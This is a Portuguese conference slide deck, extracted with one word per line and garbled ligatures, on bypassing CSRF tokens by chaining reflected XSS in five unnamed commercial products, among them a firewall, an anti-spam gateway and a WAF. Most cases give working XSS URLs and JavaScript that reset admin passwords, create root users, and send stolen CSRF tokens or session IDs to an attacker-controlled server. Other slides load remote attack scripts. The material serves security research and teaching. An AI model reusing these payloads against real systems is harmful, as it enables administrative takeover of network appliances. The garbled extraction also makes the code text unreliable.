1. Bypass
de
Token
CSRF
na
pra2ca/Exploração
de
ByPasss
de
CSRF
William
Costa
2. Bypass
de
Token
CSRF
Consultor
em
Segurança
da
Informação.
CISSP,
C|EH,
E|CSA,
CPT,
CEPT,
LPI.
3. Bypass
de
Token
CSRF
Vulnerabilidade CSRF.
• Cross-‐site
request
forgery
é
o
envio
de
comandos
(dados)
pelo
usuário
a
um
site
que
confia
em
seu
browser
(usuário
já
auten2cado)
sem
o
consen2mento/conhecimento
do
mesmo.
• Normalmente
ocorre
com
ajuda
da
engenharia
social,
por
meio
de
envio
de
links
e/ou
phishings
.
4. Bypass
de
Token
CSRF
Senta que lá vem a Historia do CSRF.
• O
Primeiro
CVE
disponível
no
mitre
sobre
CSRF
(CVE-‐2002-‐1648)
é
de
uma
vulnerabilidade
de
2002
no
webmail
SquirrelMail.
• O
Mitre
conta
com
921
CVEs
publicados
deste
2po
de
falha.
5. Bypass
de
Token
CSRF
Como ocorre um ataque de
CSRF.
• A
vi2ma
realiza
o
logon
na
aplicação
vulnerável,
com
a
sessão
valida
realiza
o
acesso
a
um
site
controlado
pelo
atacante.
6. Bypass
de
Token
CSRF
A
OWASP
recomenda
a
u2lização
de
Tokens
também
conhecidos
como
Token
CSRF
para
prefinir
o
ataque
de
CSRF
normalmente
são
u2lizados
para
validação
dos
dados
enviados
via
POST(podem
ser
enviados
via
GET
também),
prevenindo
assim,
um
atacante
de
enviar
via
browser
da
vi2ma
informações
sem
o
conhecimento
prévio
do
token.
Impossibilitando
o
ataque
CSRF.
9. Bypass
de
Token
CSRF
Cross-‐Site ScripBng (XSS)
• Cross-‐Site
Scrip2ng
é
composto
por
envio
de
scripts
maliciosos
em
uma
requisição
de
um
usuário
ao
site
legi2mo,
dessa
forma
o
script
será
executado
pelo
browser
da
vi2ma.
10. TOP 10 OWASP
• OWASP
Top
10
–
2013
• A1
–
Injec2on
• A2
Bypass
de
Token
CSRF
–
Broken
Authen2ca2on
and
Session
Management
• A3
–
Cross-‐Site
Scrip2ng
(XSS)
• A4
–
Insecure
Direct
Object
References
• A5
–
Security
Misconfigura2on
• A6
–
Sensi2ve
Data
Exposure
• A7
–
Missing
Func2on
Level
Access
Control
• A8
–
Cross-‐Site
Request
Forgery
(CSRF)
• A9
–
Using
Known
Vulnerable
Components
• A10
–
Unvalidated
Redirects
and
Forwards
11. Bypass
de
Token
CSRF
Bypass do CSRF na práBca.
Nos
próximos
slides
irei
apresentar
5
formas
de
by-‐pass
de
implementações
diferentes
de
Tokens
CSRFs.
Acredito
que
o
aprendizado
pra2co
é
mais
didá2co,
então
veremos
5
falhas
em
cinco
produtos
de
mercado
que
u2lizam
alguma
implementação
do
Token
CSRF.
J
12. Alvo
:
Bypass
de
Token
CSRF
Falha 1#
• Gerenciador
de
Sistemas
Resultado:
Um
Reflected
XSS
no
parâmetro
“ID”
na
pagina
de
configuração
de
usuários
administra2vos.
13. Bypass
de
Token
CSRF
XSS no parâmetro ID .
• hqp://ip/adminui/user.php?ID=10">]</a><script>alert("XSS");</
script>&&PAGE=2
15. Bypass
de
Token
CSRF
A primeira coisa é localizar um XSS.
• Neste
aplica2vo
a
falha
se
encontra
no
ID
(ID=10)
de
iden2ficação
do
usuário
administrador.
• Não
ocorre
o
tratamento
dos
dados
enviados
nesta
variável,
o
conteúdo
da
variável
é
inserida
em
um
link
de
href
da
tag
<a>.
• <a
href="history_log.php?
HISTORY_TYPE=OBJECT&TYPE_NAME=USER&TYPE_ID=10"></
a><script>alert(2);</script>&NAME=admin&SHOW_ALL=1"
onclick='logPopup(this);
return
false;'>Show
All
History</a>
16. Analise do Ambiente.
• Agora
que
já
temos
o
nosso
“XSS”,
podemos
analisar
o
ambiente
e
verificar
o
que
é
possível
fazer
com
este.
• Analisando
a
pagina
onde
temos
o
nosso
XSS,
vemos
que
é
possível
alterar
a
senha
do
usuário
sem
a
necessidade
da
senha
atual
J.
• Já
temos
o
Nosso
Alvo.
Bypass
de
Token
CSRF
17. Criando nosso Exploit.
• Nosso
exploit
será
composto
por
um
javascript,
vamos
u2lizar
o
getElementsByName()
para
localizar
o
input
correspondente
ao
campo
Password
e
Confirm
Password
e
setar
uma
senha.
document.getElementsByName('FARRAY[PASSWORD]')[0].value
=
"123456”;
document.getElementsByName('FARRAY[PASSWORD_CONFIRM]')[0].value
=
"123456”;
Porém
a
nossa
injeção
de
script
ocorre
no
inicio
do
código
HTML,
por
tanto
ainda
não
existem
esses
campos.
A
solução
é
adicionar
nosso
código
a
uma
função
e
setar
um
2meout.
func2on
append(csrf)
{
document.getElementsByName('FARRAY[PASSWORD]')[0].value
=
"123456";
document.getElementsByName('FARRAY[PASSWORD_CONFIRM]')[0].value
=
"123456";
document.UserForm.submit();
}
setTimeout("append("2meout")",
1000);
Bypass
de
Token
CSRF
19. Falha 2#
Alvo:
• Firewall
UTM
Resultado:
• Um
Reflected
XSS
no
campo
“mkey
”
na
pagina
de
configuração
dos
schedules
das
regras.
Bypass
de
Token
CSRF
20. Bypass
de
Token
CSRF
XSS no parâmetro mkey.
• hqp://IP/firewall/schedule/recurrdlg?
mkey=a"><script>alert("xss");</script>
22. Localizando a falha.
• O
Bypass
de
Token
CSRF
XSS
neste
caso
é
inserido
no
parâmetro
“mkey”
que
é
a
variável
do
nome
do
objeto
de
schedule.
• Mais
uma
vez
a
variável
não
foi
tratada
e
a
mesma
é
inserida
em
um
tag
<input>
do
html.
• <input
type=text
name=name
id=name
size="50"
maxlength="31"
onfocus="this.select()"
value="a"><script>alert("XSS");</script>">
23. Analise do Ambiente.
• Na
Bypass
de
Token
CSRF
pagina
onde
ocorre
a
inserção
do
script,
não
contém
informações
sensíveis,
mas,
o
Token
CSRF
é
guardado
em
um
COOKIE.
J
•
Inserindo
um
simples
<script>alert(document.cookie)
;<script>,
temos
a
seguinte
saída
• Alvo
criação
de
um
novo
Usuário
24. Criando o Exploit.
• Iremos
Bypass
de
Token
CSRF
criar
um
script
para
envio
do
Token
CSRF
para
nosso
servidor,
depois
enviar
o
usuário
a
nossa
página
para
o
envio
dos
dados
de
criação
do
usuário
administrador
(CSRF).
var
o_cookie_array
=
o_cookie.split(";");
var
a_data
=
unescape(o_cookie_array[1]);
var
a_data_array
=
a_data.split
("="
);
var
token
=
unescape(a_data_array[1]);
window.loca=on.replace("h?ps://10.0.1.120/xss/cookie.php?cookie="
+
encodeURIComponent(token));
25. • Esse
Bypass
de
Token
CSRF
código
é
responsável
pelo
envio
do
ataque
CSRF
quando
o
usuário
acessa
a
página.
<body
onload="CSRF.submit();”>
<?php
$lines
=
file
('cookies.txt');
dados
=
explode('"',$lines[1]);
$matrizDeDados[]
=
$dados;
foreach
($matrizDeDados
as
$linhas){
$token
=
$linhas[1];
}
?>
<form
id="CSRF"
ac=on="h?p://ip_fw/system/config/adminadd"
method="post"
name="CSRF">
<input
name="name"
value="user.exploit">
</input>
<input
name="admin_type"
value="1">
</input>
<input
name="newpasswd1"
value="123456">
</input>
<input
name="newpasswd2"
value="123456">
</input>
<input
name="guest_grp"
value="">
</input>
<input
name="CSRF_TOKEN"
value="<?php
echo
$token;?>">
</input>
</form>
Criando o Exploit.
30. Localizando a falha.
• O
Bypass
de
Token
CSRF
XSS
neste
caso
é
inserido
no
parâmetro
“date_range”
u2lizado
para
filtro
de
data.
• Mais
uma
vez
a
variável
não
foi
tratada
e
a
mesma
é
inserida
em
uma
tag
<input>
do
html.
• <input
type="hidden"
id="current_date_range”
value="aaaaa"><script>alert(2)</script>">
31. Analise do Ambiente.
• Analisando
o
conteúdo
do
código
devolvido
ao
usuário
encontramos
o
Token
CSRF
em
uma
função
do
javascript
.
J
• Alvo:
Para
a
troca
de
senha
do
Usuário
admin,
não
é
necessário
saber
a
senha
anterior
J
Bypass
de
Token
CSRF
32. Bypass
de
Token
CSRF
Criando o Exploit.
• Iniciaremos
com
a
criação
do
Exploit
para
localização
desse
script
e
a
remoção
do
seu
conteúdo
e
envio
ao
nosso
servidor.
Como
o
nosso
script
é
inserido
antes
da
criação
da
função
que
contém
o
Token
iremos
adicionar
o
nosso
script
um
2meout.
func=on
append(csrf)
{
csrf
=
document.getElementsByTagName('script').item(20).textContent
var
o_cookie
=
csrf;
var
o_cookie_array
=
o_cookie.split("=");
var
a_data
=
unescape(o_cookie_array[2]);
var
a_data_array
=
a_data.split
("&"
);
var
token
=
unescape(a_data_array[0]);
window.loca=on.replace("h?ps://ip_server/cookie.php?cookie="
+
encodeURIComponent(token))
}
setTimeout("append("=meout")",
2000);
35. Falha 4#
Alvo:
• Messaging
Security
(an2-‐spam)
Resultado:
• Um
Reflected
XSS
no
campo
“new
”
na
pagina
de
criação
de
usuários
administra2vos.
Bypass
de
Token
CSRF
36. Bypass
de
Token
CSRF
XSS no parâmetro new.
• hqps://ip_an2spam/admin?
module=SysUser&method=user&new=1><script
src=//10.0.1.120/e.js
38. Localizando a falha.
• O
Bypass
de
Token
CSRF
XSS
neste
caso
é
inserido
no
parâmetro
“new”
u2lizado
para
informar
a
criação
de
um
novo
usuário
administrador
na
aplicação.
• Mais
uma
vez
a
variável
não
foi
tratada
e
a
mesma
é
inserida
em
um
tag
<input>
do
html.
• <input
type=hidden
name=new
value=1><script
src=//10.0.1.120/e.js>
39. Analise do Ambiente.
• Analisando
Bypass
de
Token
CSRF
o
conteúdo
do
código
devolvido
ao
usuário
vemos
que
o
nosso
script
é
inserido
dentro
de
uma
TAG
input
.
J
• Alvo:
Já
estamos
na
página
de
criação
de
novos
usuários
administradores,
por
que
não
criar
um
para
nós?!.
40. Bypass
de
Token
CSRF
Criando o Exploit.
• Esse
exploit
tem
o
intuito
de
preencher
os
campos
input
do
usuário,
senha
e
role,
porém
quando
inserimos
o
XSS
quebramos
a
tag
input
do
usuário.
Vamos
corrigir
isso
com
um
simples
document.write.
//Create
tag
input
with
Id
of
user
that
was
break
by
XSS
document.write("<input
id='id'
name='id'
value='user.exploit'>");
//Set
values
in
input
with
password
and
role
func=on
append(csrf)
{
document.getElementsByName('user_newpassword_1')[0].value
=
"admin@123";
document.getElementsByName('user_newpassword_2')[0].value
=
"admin@123";
document.getElementsByName('selectedrole')[0].value
=
"root";
document.main_form.submit();
}
setTimeout("append("=meout")",
1000);
42. Falha 5#
Alvo:
• WAF
(Web
Applica2on
Firewall)
Resultado:
• Um
Reflected
XSS
da
pagina
de
Regex
pré
definidos
em
um
script
de
criação
de
cookie
Bypass
de
Token
CSRF
43. XSS na URL.
Bypass
de
Token
CSRF
• hqps://waf/prot/paqern/list_url_rule/aaa">}//-‐-‐></script><script
src=hqps://10.0.1.120/exploit.js></script>
45. Localizando a falha.
• O
Bypass
de
Token
CSRF
XSS
neste
caso
é
inserido
na
URL
que
é
u2lizada
para
criação
de
um
cookie
por
um
javascript
• A
URL
não
foi
tratada
e
a
mesma
é
inserida
em
um
javascript
<script>
da
aplicação.
setCookie("/prot/pa?ern/list_data_type/aaa">}//-‐-‐></script><script
src=h?ps://10.0.1.120/teste.js></script>"
46. Analise do Ambiente.
• Analisando
Bypass
de
Token
CSRF
o
código
devolvido
ao
usuário
encontramos
o
Token
CSRF
com
o
nome
de
Session_ID,
já
temos
o
nosso
token.
Alvo:
Criação
de
um
Novo
usuário
47. Criando o Exploit.
• Esse
exploit
envia
ao
servidor
o
Session_ID
que
vai
ser
usado
para
criação
de
um
usuário
administrador.
J
window.loca2on.replace("hqps://10.0.1.120/cookie.php?cookie="
+
encodeURIComponent(session_id));
• Não
precisamos
nem
nós
preocuparmos
em
como
obter
o
token
ele
é
uma
variável
universal.
Bypass
de
Token
CSRF